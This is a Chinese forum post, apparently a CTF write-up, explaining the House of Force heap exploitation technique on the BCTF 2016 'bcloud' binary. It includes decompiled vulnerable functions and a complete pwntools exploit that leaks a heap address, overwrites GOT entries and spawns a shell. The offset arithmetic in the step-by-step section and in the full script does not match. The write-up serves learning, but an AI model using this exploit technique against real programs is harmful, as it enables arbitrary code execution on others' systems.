首页
社区
课程
招聘
[原创]House Of Force实例
2018-4-9 18:37 4929

[原创]House Of Force实例

2018-4-9 18:37
4929

BCTF 2016 bcloud

漏洞简介

House of Force: 修改top chunksize域,来达到我们任意地址读写的目的.

程序运行(主要功能)

1. welcome

Input your name:
Bill
Hey Bill! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
cust
Host:
210.47.0.1
OKay! Enjoy:)

2. menu

1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

3. new

1
Input the length of the note content:
20
Input the content:
hello,world
Create success, the id is 0

0x804b120 --> [content] -->  content
0x804b0a0 --> [length] --> length
0x804b0e0 --> [syn]

4. edit

3
Input the id:
0
Input the new content:
hello,world
Edit success.

5. delete

4
Input the id:
0
Delete success.

程序分析

漏洞点: 在welcome阶段存在一个内存泄露和复制过量的数据

 

第一个漏洞点

int sub_80487A1()
{
  char s; // [sp+1Ch] [bp-5Ch]@1
  char *v2; // [sp+5Ch] [bp-1Ch]@1
  int v3; // [sp+6Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x50u);
  puts("Input your name:");
  inputstring((int)&s, 0x40, 10);
  v2 = (char *)malloc(0x40u);
  dword_804B0CC = (int)v2;
  strcpy(v2, &s);// 漏洞点
  welcome((int)v2);
  return *MK_FP(__GS__, 20) ^ v3;
}

    分析: 当我们输入0x40字符时, strcpy会将字符和v2地址一同复制到v2指向的空间. 随后会将v2打印出来, 这就是内存泄露.

 

第二个漏洞点

int sub_804884E()
{
  char s; // [sp+1Ch] [bp-9Ch]@1
  char *v2; // [sp+5Ch] [bp-5Ch]@1
  int v3; // [sp+60h] [bp-58h]@1
  char *v4; // [sp+A4h] [bp-14h]@1
  int v5; // [sp+ACh] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x90u);
  puts("Org:");
  inputstring((int)&s, 0x40, 10);
  puts("Host:");
  inputstring((int)&v3, 0x40, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  dword_804B0C8 = (int)v2;
  dword_804B148 = (int)v4;
  strcpy(v4, (const char *)&v3);
  strcpy(v2, &s);
  puts("OKay! Enjoy:)");
  return *MK_FP(__GS__, 20) ^ v5;
}

    分析: 同样当我们输入0x40s中去, strcpy(v2, &s)就会将0x40个字符 + v2地址 + v3内容一同复制进v2,造成复制过多的数据, 这个地方就是修改 top chunk size.

 

小例子

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(void){
    char* s1 = malloc(0x20);
    read(0, s1, 0x48);
    printf("s1 is %s", s1);
    return 0;
}

相关内存:

sbrk_base  0x804b000
chunk      0x804b000        0x28(0x8 字节header + 0x20内容)   (inuse)
chunk      0x804b028        0x20fd8(top chunk size) ---------------------------
sbrk_end   0x806c000                                                          |
                                                                              |
0x804b000:    0x00000000    0x00000029    0x00000000    0x00000000            |
0x804b010:    0x00000000    0x00000000    0x00000000    0x00000000            |
0x804b020:    0x00000000    0x00000000    0x00000000    0x00020fd9  <----------          
0x804b030:    0x00000000    0x00000000    0x00000000    0x00000000

sbrk_base  0x804b000
chunk      0x804b000        0x28            (inuse)
chunk      0x804b028        0x41414140      (already changed)

    结论: top chunk size0x804b020,我们完成可以向s1中输入过量的数据改变top chunk size.

过程

整体思路

    修改top chunk size0xffffffff, malloc一个赋值, 使top chunk分配到.bss段附近.
0x804b120中存放的是content指针, 通过修改这些指针, 达到任意读写目的.

 

步骤一: 泄露heap地址, 修改top chunk size

name = "Bill"*0x10
org = "A" * 0x40
host = p32(0xffffffff) #top chunk size足够大
leak = welcome(name, org, host)

步骤二: 修改top chunk的值

bss = 0x804b0a0
length = bss - 8 - (leak + 0x48*3 - 8) - 12
newcontent=''
new(length, newcontent)

步骤三
    思路: 修改原0x804b120处存储的指针, 将free@got修改为print@plt, 泄露atoi函数地址

printf = elf.plt['printf']
free = elf.got['free']
atoi = elf.got['atoi']

payload = "A"*128 + p32(atoi) + p32(free) + p32(atoi)
length = len(payload)
new(length, payload)
edit(1, p32(printf))
delete(0)

步骤四: 修改atoi为system函数地址

real_atoi = u32(p.recv()[0:4])
log.info("readatoi: %s" % hex(real_atoi))
system = real_atoi - (libc.symbols['atoi'] - libc.symbols['system'])
edit(2, p32(system))

步骤五: 发送"/bin/sh\x00"

length = "/bin/sh\x00"

p.recvuntil("--->>")
p.sendline("1")
p.recvuntil("Input the length of the note content:\n")
p.sendline(str(length))
p.interactive()

相关问题

改变top chunk.bss是什么算的?

0x804b0a0 - 8 - (leak + 0x48*3 -8) - 12

 

    原因: 咱们的目的是为了返回0x804b0a0, top chunk必须为0x804b098, 程序中还会为你申请的空间+4, 还要有8字节的header,所以是减12, 另外的就是单纯的算距离了.

完整EXP

from pwn import *

p = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF("./libc.so.6")
context.log_level = 'debug'

def welcome(name, org, host):
    p.recvuntil("name:\n")
    p.send(name)
    chunkfirst = u32(p.recvuntil("! Welcome")[-13:-9])
    log.info("chunkfirst: %s" % hex(chunkfirst))
    p.recvuntil("Org:\n")
    p.send(org)
    p.recvuntil("Host:\n")
    p.sendline(host)
    return chunkfirst

def new(length, content):
    p.recvuntil("--->>")
    p.sendline("1")
    p.recvuntil("Input the length of the note content:\n")
    p.sendline(str(length))
    p.recvuntil("Input the content:\n")
    p.send(content)

def show():
    p.recvuntil("--->>")
    p.sendline("2")

def edit(id, newcontent):
    p.recvuntil("--->>")
    p.sendline("3")
    p.recvuntil("id:\n")
    p.sendline(str(id))
    p.recvuntil("new content:\n")
    p.sendline(newcontent)

def delete(id):
    p.recvuntil("--->>")
    p.sendline("4")
    p.recvuntil("id:\n")
    p.sendline(str(0))

#part one
# gdb.attach(p)
name = "Bill"*0x10
org = "A" * 0x40
host = p32(0xffffffff)
leak = welcome(name, org, host)

#part two
bss = 0x804b0a0
length = bss - 8 - (leak + 0x48*3 - 8) - 8
newcontent=''
new(length, newcontent)
#edit(0, "B"*20)
#delete(0)


#part three
printf = elf.plt['printf']
free = elf.got['free']
atoi = elf.got['atoi']

payload = "A"*128 + p32(atoi) + p32(free) + p32(atoi)
length = len(payload)
new(length, payload)
edit(1, p32(printf))
delete(0)

# part four

real_atoi = u32(p.recv()[0:4])
log.info("readatoi: %s" % hex(real_atoi))
system = real_atoi - (libc.symbols['atoi'] - libc.symbols['system'])
edit(2, p32(system))
length = "/bin/sh\x00"

p.recvuntil("--->>")
p.sendline("1")
p.recvuntil("Input the length of the note content:\n")
p.sendline(str(length))
p.interactive()

相关链接

Link1
Link2


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-4-9 18:37 被baolongshou编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 7855
活跃值: (954)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
点中你的心 2018-4-11 10:17
2
0
感谢分享,分析得很仔细
游客
登录 | 注册 方可回帖
返回